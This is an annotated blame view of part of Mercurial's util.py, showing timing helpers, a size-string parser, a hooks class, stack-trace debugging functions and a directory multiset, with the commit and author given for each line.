687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3325 (100, 0.000000001, _(b'%.1f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3326 (10, 0.000000001, _(b'%.2f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3327 (1, 0.000000001, _(b'%.3f ns')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3328 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3329
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3330
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3331 @attr.s
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3332 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3333 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3334
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3335 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3336 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3337 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3338 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3339 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3340 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3341 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3342 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3343
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3344 def __bytes__(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3345 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3346
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3347 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3348
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3349
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3350 @contextlib.contextmanager
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	3351 def timedcm(whencefmt, *whenceargs):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3352 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3353
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3354 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3355
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3356 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3357
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3358 """
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3359 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3360 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3361 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3362 try:
39285 497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3363 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3364 yield timing_stats
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3365 finally:
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3366 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3367 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3368
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3369
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3370 timedcm._nested = 0
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3371
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3372
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3373 def timed(func):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3374 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3375
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3376 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3377 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3378
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3379 @util.timed
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3380 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3381 pass
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3382 '''
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3383
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3384 def wrapper(args, *kwargs):
39286 331ab85e910b cleanup: make all uses of timedcm specify what they're timing Augie Fackler <augie@google.com> parents: 39285 diff changeset	3385 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3386 result = func(args, *kwargs)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3387 stderr = procutil.stderr
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3388 stderr.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3389 b'%s%s: %s\n'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3390 % (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3391 b' ' * time_stats.level * 2,
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3392 pycompat.bytestr(func.__name__),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3393 time_stats,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3394 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3395 )
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3396 return result
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3397
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3398 return wrapper
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3399
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3400
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3401 _sizeunits = (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3402 (b'm', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3403 (b'k', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3404 (b'g', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3405 (b'kb', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3406 (b'mb', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3407 (b'gb', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3408 (b'b', 1),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3409 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3410
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3411
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3412 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3413 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3414
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3415 >>> sizetoint(b'30')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3416 30
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3417 >>> sizetoint(b'2.2kb')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3418 2252
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3419 >>> sizetoint(b'6M')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3420 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3421 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3422 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3423 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3424 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3425 if t.endswith(k):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3426 return int(float(t[: -len(k)]) * u)
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3427 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3428 except ValueError:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3429 raise error.ParseError(_(b"couldn't parse size: %s") % s)
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3430
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3431
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3432 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3433 '''A collection of hook functions that can be used to extend a
26098 ce26928cbe41 spelling: behaviour -> behavior timeless@mozdev.org parents: 25672 diff changeset	3434 function's behavior. Hooks are called in lexicographic order,
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3435 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3436
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3437 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3438 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3439
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3440 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3441 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3442
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3443 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3444 self._hooks.sort(key=lambda x: x[0])
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3445 results = []
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3446 for source, hook in self._hooks:
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3447 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3448 return results
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3449
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3450
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3451 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3452 '''Yields lines for a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3453 Skips the 'skip' last entries, then return the last 'depth' entries.
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3454 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3455 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3456 If line is None, it yields:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3457 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3458 filepath+linenumber,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3459 function
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3460
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3461 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3462 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3463 entries = [
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3464 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3465 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3466 ][-depth:]
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3467 if entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3468 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3469 for fnln, func in entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3470 if line is None:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3471 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3472 else:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3473 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3474
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3475
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3476 def debugstacktrace(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3477 msg=b'stacktrace',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3478 skip=0,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3479 f=procutil.stderr,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3480 otherf=procutil.stdout,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3481 depth=0,
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3482 ):
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3483 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3484 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3485 By default it will flush stdout first.
28496 b592564a803c util: reword debugstacktrace comment timeless <timeless@mozdev.org> parents: 28027 diff changeset	3486 It can be used everywhere and intentionally does not require an ui object.
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3487 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3488 '''
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3489 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3490 otherf.flush()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3491 f.write(b'%s at:\n' % msg.rstrip())
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3492 for line in getstackframes(skip + 1, depth=depth):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3493 f.write(line)
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3494 f.flush()
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3495
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3496
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3497 class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3498 '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3499
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3500 def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3501 self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3502 addpath = self.addpath
42641 b5092c23ca35 py: error out if a "skip" character was given with non-dict to util.dirs() Martin von Zweigbergk <martinvonz@google.com> parents: 42545 diff changeset	3503 if isinstance(map, dict) and skip is not None:
43106 d783f945a701 py3: finish porting iteritems() to pycompat and remove source transformer Gregory Szorc <gregory.szorc@gmail.com> parents: 43103 diff changeset	3504 for f, s in pycompat.iteritems(map):
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3505 if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3506 addpath(f)
42641 b5092c23ca35 py: error out if a "skip" character was given with non-dict to util.dirs() Martin von Zweigbergk <martinvonz@google.com> parents: 42545 diff changeset	3507 elif skip is not None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3508 raise error.ProgrammingError(
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	3509 b"skip character is only supported with a dict source"
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3510 )
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3511 else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3512 for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3513 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3514
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3515 def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3516 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3517 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3518 if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3519 dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3520 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3521 dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3522
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3523 def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3524 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3525 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3526 if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3527 dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3528 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3529 del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3530
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3531 def __iter__(self):
31439 807387581d89 py3: use iter() instead of iterkeys() Rishabh Madan <rishabhmadan96@gmail.com> parents: 31413 diff changeset	3532 return iter(self._dirs)
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3533
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3534 def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3535 return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3536
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3537
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3538 if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3539 dirs = parsers.dirs
